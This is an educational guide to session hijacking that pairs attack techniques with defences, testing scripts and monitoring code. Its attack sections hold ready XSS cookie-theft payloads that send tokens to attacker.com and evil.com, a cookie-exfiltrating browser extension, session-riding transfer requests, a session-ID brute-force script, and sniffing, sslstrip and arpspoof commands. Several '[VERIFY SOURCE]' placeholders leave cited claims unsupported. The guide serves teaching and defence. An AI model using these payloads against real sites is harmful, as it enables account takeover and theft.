Complete guide to understanding, exploiting, and preventing session hijacking attacks
Session Hijacking (also known as cookie hijacking or session sidejacking) is an attack where an attacker takes over a valid user session by stealing or predicting a valid session token. Once obtained, the attacker can impersonate the victim and gain unauthorized access to their account without needing credentials.
Session hijacking remains a critical security threat because:
According to [VERIFY SOURCE], session hijacking is a primary vector in many data breaches. A stolen session token can provide the same level of access as stolen credentials, but is often harder to detect and easier to obtain through automated means.
Web applications maintain user sessions through tokens stored in cookies, URL parameters, or headers:
HTTP/1.1 200 OK
Set-Cookie: sessionid=a3fWa9dj8kL2mN5pQ7rS; Path=/; HttpOnly; Secure
GET /dashboard HTTP/1.1
Cookie: sessionid=a3fWa9dj8kL2mN5pQ7rS
Attacker obtains the victim's session token through various methods:
// XSS-based theft
<script>
// Steal cookie and send to attacker
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
// Alternative: Store in attacker-controlled storage
<script>
new Image().src = 'http://evil.com/log.php?c=' + encodeURIComponent(document.cookie);
</script>
Attacker uses the stolen token to impersonate the victim:
# Attacker's script
import requests
stolen_session = "a3fWa9dj8kL2mN5pQ7rS"
cookies = {'sessionid': stolen_session}
response = requests.get('https://victim-site.com/dashboard', cookies=cookies)
# ✅ Attacker is now logged in as victim!
Most common method - inject malicious JavaScript to steal cookies:
<!-- Stored XSS in forum post -->
<script>
document.location='http://attacker.com/steal.php?c='+document.cookie;
</script>
<!-- Reflected XSS in search parameter -->
http://vulnerable-site.com/search?q=<script>fetch('//evil.com?'+document.cookie)</script>
Intercept unencrypted HTTP traffic on shared networks:
# Attacker on same WiFi network
tcpdump -i wlan0 -A | grep "Cookie:"
# Using Wireshark to capture session tokens
# Filter: http.cookie contains "session"
Force victim to use attacker-controlled session ID:
<!-- Attacker sends link to victim -->
http://vulnerable-site.com/login?sessionid=ATTACKER_CONTROLLED_ID
<!-- After victim logs in, attacker uses the same session ID -->
Intercept communication between client and server:
// Malicious browser extension
chrome.cookies.getAll({domain: "target-site.com"}, function(cookies) {
fetch('https://attacker.com/exfil', {
method: 'POST',
body: JSON.stringify(cookies)
});
});
Capture session cookies from unencrypted traffic on public WiFi [VERIFY SOURCE - Firesheep tool from 2010].
// Bypass HttpOnly using alternative storage
<script>
// Steal localStorage tokens
const token = localStorage.getItem('authToken');
fetch('https://attacker.com/steal?token=' + token);
// Steal sessionStorage
const session = sessionStorage.getItem('session');
navigator.sendBeacon('https://attacker.com/log', session);
</script>
// Instead of stealing cookie, perform actions on victim's behalf
<script>
fetch('/api/transfer', {
method: 'POST',
credentials: 'include', // Include session cookie
body: JSON.stringify({
to: 'attacker_account',
amount: 10000
})
});
</script>
# VULNERABLE: Predictable session IDs
session_id = str(user_id) + str(int(time.time()))
# Example: "12341700000000" - easy to guess!
# VULNERABLE: Sequential IDs
session_id = str(last_session_id + 1)
# ✅ SECURE: Cryptographically random
import secrets
session_id = secrets.token_urlsafe(32)
import requests
import string
import itertools
# Try all possible short session IDs
for token in itertools.product(string.ascii_letters + string.digits, repeat=6):
session_token = ''.join(token)
cookies = {'SESSIONID': session_token}
response = requests.get('https://target.com/profile', cookies=cookies)
if response.status_code == 200:
print(f"Valid session found: {session_token}")
break
<!-- Attacker sets cookie via subdomain -->
<script>
document.cookie = "sessionid=ATTACKER_ID; domain=.vulnerable-site.com";
window.location = "https://vulnerable-site.com/login";
</script>
<!-- Or via URL parameter -->
<a href="http://bank.com/login?session=ATTACKER_SESSION">
Click here to login to your bank
</a>
<!-- Combine CSRF with session theft -->
<img src="http://vulnerable-site.com/transfer?to=attacker&amount=1000" />
<!-- With XSS to bypass CSRF tokens -->
<script>
fetch('/get-csrf-token')
.then(r => r.json())
.then(data => {
fetch('/transfer', {
method: 'POST',
headers: {'X-CSRF-Token': data.token},
body: JSON.stringify({to: 'attacker', amount: 10000})
});
});
</script>
<!-- Session in URL gets leaked via Referer -->
http://site.com/dashboard?session=abc123
<!-- User clicks external link -->
<a href="http://external-site.com">Click here</a>
<!-- Referer header sent to external site: -->
Referer: http://site.com/dashboard?session=abc123
// Attacker creates account and donates their session to victim
// Victim unknowingly uses attacker's session
// Attacker can see all victim's actions in their account
// Example: Attacker sets up session fixation
document.cookie = "session=ATTACKER_SESSION; domain=.target.com";
// Can't read HttpOnly cookie, but can still make requests
<script>
// Session riding - perform actions without stealing cookie
fetch('/api/change-email', {
method: 'POST',
credentials: 'include', // Browser automatically includes HttpOnly cookie
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({email: 'attacker@evil.com'})
});
</script>
// HttpOnly prevents JavaScript access, but not network sniffing
// Use Wireshark, tcpdump, or MITM proxy to capture cookies in transit
# Attacker performs MITM and downgrades HTTPS to HTTP
# Tool: sslstrip
sslstrip -l 8080
# iptables redirect
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
# Now session cookies are transmitted over HTTP even with Secure flag
<!-- SameSite=Lax allows cookies on top-level navigation -->
<!-- Attacker creates malicious site: -->
<a href="https://vulnerable-site.com/transfer?to=attacker&amount=1000">
Click here for free prize!
</a>
<!-- Cookie is sent with GET request -->
// If SameSite is set on parent domain
// Attacker takes over subdomain (old.company.com)
// Can set cookies for parent domain
// From compromised subdomain:
document.cookie = "session=ATTACKER_SESSION; domain=.company.com";
// If session tied to IP address
// Attacker on same corporate network/NAT shares external IP
// Session hijacking works from same IP range
# Spoof X-Forwarded-For header
headers = {
'Cookie': 'session=STOLEN_TOKEN',
'X-Forwarded-For': '192.168.1.100' # Victim's IP
}
requests.get('https://target.com/api', headers=headers)
# Simply replicate victim's User-Agent
headers = {
'Cookie': 'session=STOLEN_TOKEN',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)...'
}
import requests
import time
stolen_session = "abc123xyz"
while True:
# Keep session alive by making periodic requests
requests.get('https://target.com/keep-alive',
cookies={'session': stolen_session})
time.sleep(60) # Every minute
✅ PRIMARY DEFENSE FOR WEB APPLICATIONS
# Python Flask
from flask import session
app.config['SESSION_COOKIE_HTTPONLY'] = True
app.config['SESSION_COOKIE_SECURE'] = True
app.config['SESSION_COOKIE_SAMESITE'] = 'Strict'
# Set-Cookie header:
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict; Path=/
// Node.js Express
const session = require('express-session');
app.use(session({
secret: 'your-secret-key',
cookie: {
httpOnly: true, // Prevent JavaScript access
secure: true, // Only send over HTTPS
sameSite: 'strict', // Prevent CSRF
maxAge: 3600000 // 1 hour timeout
}
}));
// PHP
session_start([
'cookie_httponly' => true,
'cookie_secure' => true,
'cookie_samesite' => 'Strict'
]);
// Or set in php.ini:
session.cookie_httponly = 1
session.cookie_secure = 1
session.cookie_samesite = Strict
# ✅ GOOD: Cryptographically secure random tokens
import secrets
session_token = secrets.token_urlsafe(32) # 256 bits of entropy
# ✅ GOOD: UUID v4
import uuid
session_token = str(uuid.uuid4())
# ❌ BAD: Predictable tokens
import random
session_token = str(random.randint(1000, 9999)) # Only 9000 possibilities!
# ❌ BAD: Time-based
import time
session_token = str(time.time()) # Predictable
Generate new session ID after privilege changes:
# Python Flask - regenerate on login
from flask import session
@app.route('/login', methods=['POST'])
def login():
if authenticate(username, password):
# Clear old session
session.clear()
# Create new session (new ID generated automatically)
session['user_id'] = user.id
session['logged_in'] = True
return redirect('/dashboard')
// PHP - regenerate session ID
session_start();
if (authenticate($_POST['username'], $_POST['password'])) {
// Generate new session ID
session_regenerate_id(true);
$_SESSION['user_id'] = $user->id;
$_SESSION['logged_in'] = true;
}
import hashlib
def create_session(user_id, request):
# Create fingerprint of user environment
fingerprint = hashlib.sha256(
f"{request.user_agent}"
f"{request.headers.get('Accept-Language')}"
f"{get_client_ip(request)[:10]}" # First 3 octets only
.encode()
).hexdigest()
session_data = {
'user_id': user_id,
'fingerprint': fingerprint,
'created_at': time.time()
}
return session_data
def validate_session(session_data, request):
# Recreate fingerprint
current_fingerprint = hashlib.sha256(
f"{request.user_agent}"
f"{request.headers.get('Accept-Language')}"
f"{get_client_ip(request)[:10]}"
.encode()
).hexdigest()
# Compare fingerprints
if current_fingerprint != session_data['fingerprint']:
raise Exception("Session fingerprint mismatch - possible hijacking!")
Note: Strict IP binding can break legitimate use cases (mobile users switching networks, corporate proxies, VPNs). Use partial IP matching or combine multiple weak signals instead of strict binding [VERIFY SOURCE].
# Implement idle timeout
SESSION_TIMEOUT = 30 * 60 # 30 minutes
def check_session_timeout(session):
last_activity = session.get('last_activity', 0)
if time.time() - last_activity > SESSION_TIMEOUT:
session.clear()
raise Exception("Session expired due to inactivity")
# Update last activity
session['last_activity'] = time.time()
# Absolute timeout
SESSION_MAX_AGE = 24 * 60 * 60 # 24 hours
def check_max_age(session):
created_at = session.get('created_at', 0)
if time.time() - created_at > SESSION_MAX_AGE:
session.clear()
raise Exception("Session expired - please login again")
# Force HTTPS redirect
@app.before_request
def force_https():
if not request.is_secure and app.env == "production":
url = request.url.replace("http://", "https://", 1)
return redirect(url, code=301)
# Nginx HTTPS redirect
server {
listen 80;
server_name example.com;
return 301 https://$server_name$request_uri;
}
# Enable HSTS
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
Since XSS is a primary vector for session theft:
# Content Security Policy
@app.after_request
def set_csp(response):
response.headers['Content-Security-Policy'] = \
"default-src 'self'; script-src 'self'; object-src 'none';"
return response
# Input sanitization
import bleach
def sanitize_input(user_input):
# Remove all HTML tags
clean_input = bleach.clean(user_input, tags=[], strip=True)
return clean_input
# Output encoding
from markupsafe import escape
@app.route('/profile')
def profile():
username = escape(user.username)
return f"<h1>Welcome {username}</h1>"
# Proper session destruction
@app.route('/logout')
def logout():
# Server-side: Delete session from database
db.sessions.delete({'session_id': session['id']})
# Client-side: Clear session cookie
session.clear()
# Expire cookie immediately
response = make_response(redirect('/login'))
response.set_cookie('session', '', expires=0)
return response
# JWT with short expiration
import jwt
from datetime import datetime, timedelta
def create_jwt_token(user_id):
payload = {
'user_id': user_id,
'exp': datetime.utcnow() + timedelta(minutes=15), # Short-lived
'iat': datetime.utcnow()
}
token = jwt.encode(payload, SECRET_KEY, algorithm='HS256')
return token
# Refresh token pattern
def create_tokens(user_id):
access_token = create_jwt_token(user_id) # 15 min
refresh_token = secrets.token_urlsafe(32) # Store in DB
return {
'access_token': access_token,
'refresh_token': refresh_token
}
# Check cookie flags in browser DevTools
# Console:
document.cookie
# Network tab:
# Look for Set-Cookie headers
# Verify: HttpOnly, Secure, SameSite flags
# Collect multiple session tokens and analyze
import math
from collections import Counter
def calculate_entropy(token):
# Calculate Shannon entropy
counter = Counter(token)
length = len(token)
entropy = -sum(
(count/length) * math.log2(count/length)
for count in counter.values()
)
return entropy
# Test tokens
tokens = [
"a3fWa9dj8kL2mN5pQ7rS", # Good: high entropy
"user123session456", # Bad: predictable
"12345678" # Bad: sequential
]
for token in tokens:
entropy = calculate_entropy(token)
print(f"Token: {token}")
print(f"Entropy: {entropy:.2f} bits")
print(f"Assessment: {'WEAK' if entropy < 4 else 'STRONG'}\n")
# Test steps:
1. Get session ID before login: SESS=abc123
2. Login with credentials
3. Check if session ID changed after login
4. If same (SESS=abc123), vulnerable to session fixation!
# Automated test:
curl -c cookies.txt http://target.com/
# Note session ID
curl -b cookies.txt -c cookies.txt -d "user=test&pass=test" http://target.com/login
# Check if session ID changed
// Test in browser console (on sites you own/have permission)
<script>alert(document.cookie);</script>
// If alert shows cookies, they're not HttpOnly
// If nothing appears, HttpOnly is properly set
<!-- Create test.html on different domain -->
<html>
<body>
<h1>CSRF/Session Test</h1>
<script>
// Try to make request to target site
fetch('https://target-site.com/api/sensitive', {
credentials: 'include'
}).then(r => console.log('Request succeeded'))
.catch(e => console.log('Request failed'));
</script>
</body>
</html>
<!-- If request succeeds, SameSite not properly configured -->
Comprehensive testing capabilities:
# Burp Suite Sequencer usage:
1. Proxy > HTTP History > Find session token
2. Right-click > Send to Sequencer
3. Select token parameter
4. Start live capture (minimum 100 tokens)
5. Analyze results for randomness
# Automated scan
zap-cli quick-scan --self-contained \
--start-options '-config api.disablekey=true' \
https://target-site.com
# Check for:
# - Missing HttpOnly flag
# - Missing Secure flag
# - Weak session tokens
# - Session fixation
import requests
import re
def test_session_security(url):
print(f"Testing: {url}")
# Test 1: Check cookie flags
response = requests.get(url)
cookies = response.cookies
for cookie in cookies:
print(f"\nCookie: {cookie.name}")
print(f" HttpOnly: {cookie.has_nonstandard_attr('HttpOnly')}")
print(f" Secure: {cookie.secure}")
# Check for session tokens in response
if re.search(r'sessionid|session|token', cookie.name, re.I):
if not cookie.has_nonstandard_attr('HttpOnly'):
print(" ⚠️ WARNING: Session cookie without HttpOnly!")
if not cookie.secure:
print(" ⚠️ WARNING: Session cookie without Secure flag!")
# Test 2: Check session fixation
session1 = requests.Session()
resp1 = session1.get(url)
cookie_before = session1.cookies.get('sessionid')
# Simulate login
resp2 = session1.post(f"{url}/login",
data={'user': 'test', 'pass': 'test'})
cookie_after = session1.cookies.get('sessionid')
if cookie_before == cookie_after:
print("\n⚠️ WARNING: Session ID not regenerated after login!")
print(" Vulnerable to session fixation attack")
# Usage
test_session_security('https://example.com')
# Web server scanner
nikto -h https://target-site.com -Tuning 9
# Check output for:
# - Missing security headers
# - Cookie security issues
# - XSS vulnerabilities (leading to session theft)
# Server-side monitoring
def detect_session_anomaly(session, request):
warnings = []
# Check for sudden IP change
if session.get('last_ip') != request.remote_addr:
warnings.append(f"IP changed: {session.get('last_ip')} → {request.remote_addr}")
# Check for User-Agent change
if session.get('user_agent') != request.user_agent.string:
warnings.append("User-Agent changed")
# Check for impossible time travel
if session.get('last_location') and session.get('current_location'):
# If user was in New York 5 min ago, can't be in Tokyo now
if impossible_travel(session['last_location'], session['current_location']):
warnings.append("Impossible travel detected")
# Check concurrent sessions from different locations
active_sessions = get_user_active_sessions(session['user_id'])
if len(active_sessions) > 3:
warnings.append(f"Multiple concurrent sessions: {len(active_sessions)}")
if warnings:
log_security_event(session['user_id'], warnings)
# Optional: Force re-authentication
return False
return True
# Log session events for SIEM analysis
import logging
import json
def log_session_event(event_type, session, request):
event = {
'timestamp': datetime.utcnow().isoformat(),
'event_type': event_type,
'user_id': session.get('user_id'),
'session_id': session.get('id'),
'ip_address': request.remote_addr,
'user_agent': request.user_agent.string,
'location': get_geolocation(request.remote_addr)
}
logging.info(json.dumps(event))
# Events to log:
# - session_created
# - session_hijack_suspected
# - session_expired
# - session_destroyed
# - concurrent_session_detected
# Attack flow:
1. Victim connects to public WiFi
2. Attacker performs ARP spoofing (MITM position)
3. Victim visits HTTP site or attacker strips SSL
4. Attacker captures session cookie with Wireshark
5. Attacker replays cookie to access victim's account
# Real example: E-commerce checkout session hijacked
# Attacker changes shipping address and completes purchase
<!-- Attacker posts in forum: -->
<img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)">
<!-- Victims viewing the post have sessions stolen -->
<!-- Attacker uses stolen admin session to: -->
<!-- - Access admin panel -->
<!-- - Download user database -->
<!-- - Plant backdoor -->
# Mobile app uses token in URL:
myapp://dashboard?token=abc123xyz
# Issues:
1. Token visible in browser history
2. Leaked via Referer header when clicking external links
3. Captured in analytics/logging systems
4. Shared accidentally via screenshots/screen sharing
# Attack: Social engineering to get victim to share screenshot
# Result: Permanent account access
# Vulnerable logging
import logging
@app.route('/api/data')
def get_data():
token = request.headers.get('Authorization')
# ❌ BAD: Token logged
logging.info(f"Request received with token: {token}")
# Logs stored in:
# - Application log files
# - Centralized logging (CloudWatch, Splunk)
# - Error tracking (Sentry)
# - APM tools (New Relic, DataDog)
# Attack: Attacker gains access to logs → steals tokens
Common session hijacking vulnerabilities found in bug bounty programs [VERIFY SOURCE]:
# 1. XSS-based Cookie Theft
<script>fetch('//attacker.com?c='+document.cookie)</script>
# 2. Network Sniffing (HTTP)
tcpdump -i eth0 -A | grep "Cookie:"
# 3. Session Fixation
http://site.com/login?sessionid=ATTACKER_CONTROLLED
# 4. MITM Attack
arpspoof -i eth0 -t VICTIM_IP GATEWAY_IP
# 5. Malicious Browser Extension
chrome.cookies.getAll({}, cookies => exfiltrate(cookies))
# 6. Session Token Prediction
session_id = md5(user_id + timestamp) # Predictable!
# 7. Token Leakage via Referer
http://site.com/page?session=TOKEN → External site sees Referer
# 8. Session Riding (without stealing)
fetch('/api/transfer', {credentials: 'include', body: {...}})
# Python Flask
app.config.update(
SESSION_COOKIE_HTTPONLY=True,
SESSION_COOKIE_SECURE=True,
SESSION_COOKIE_SAMESITE='Strict',
PERMANENT_SESSION_LIFETIME=timedelta(hours=1)
)
// Node.js Express
app.use(session({
name: 'sessionId',
secret: process.env.SESSION_SECRET,
cookie: {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 3600000 // 1 hour
},
resave: false,
saveUninitialized: false
}));
// PHP
session_set_cookie_params([
'lifetime' => 3600,
'path' => '/',
'domain' => '.example.com',
'secure' => true,
'httponly' => true,
'samesite' => 'Strict'
]);
session_start();
// Java Servlet
Cookie sessionCookie = new Cookie("JSESSIONID", sessionId);
sessionCookie.setHttpOnly(true);
sessionCookie.setSecure(true);
sessionCookie.setMaxAge(3600);
sessionCookie.setPath("/");
response.addCookie(sessionCookie);
# Pattern 1: Database-backed sessions
class SessionManager:
def create_session(self, user_id):
session_token = secrets.token_urlsafe(32)
db.sessions.insert({
'token': session_token,
'user_id': user_id,
'created_at': datetime.utcnow(),
'last_activity': datetime.utcnow(),
'ip_address': request.remote_addr,
'user_agent': request.user_agent.string
})
return session_token
def validate_session(self, session_token):
session = db.sessions.find_one({'token': session_token})
if not session:
raise InvalidSession()
# Check expiration
if datetime.utcnow() - session['last_activity'] > timedelta(minutes=30):
db.sessions.delete_one({'token': session_token})
raise SessionExpired()
# Update activity
db.sessions.update_one(
{'token': session_token},
{'$set': {'last_activity': datetime.utcnow()}}
)
return session['user_id']
def destroy_session(self, session_token):
db.sessions.delete_one({'token': session_token})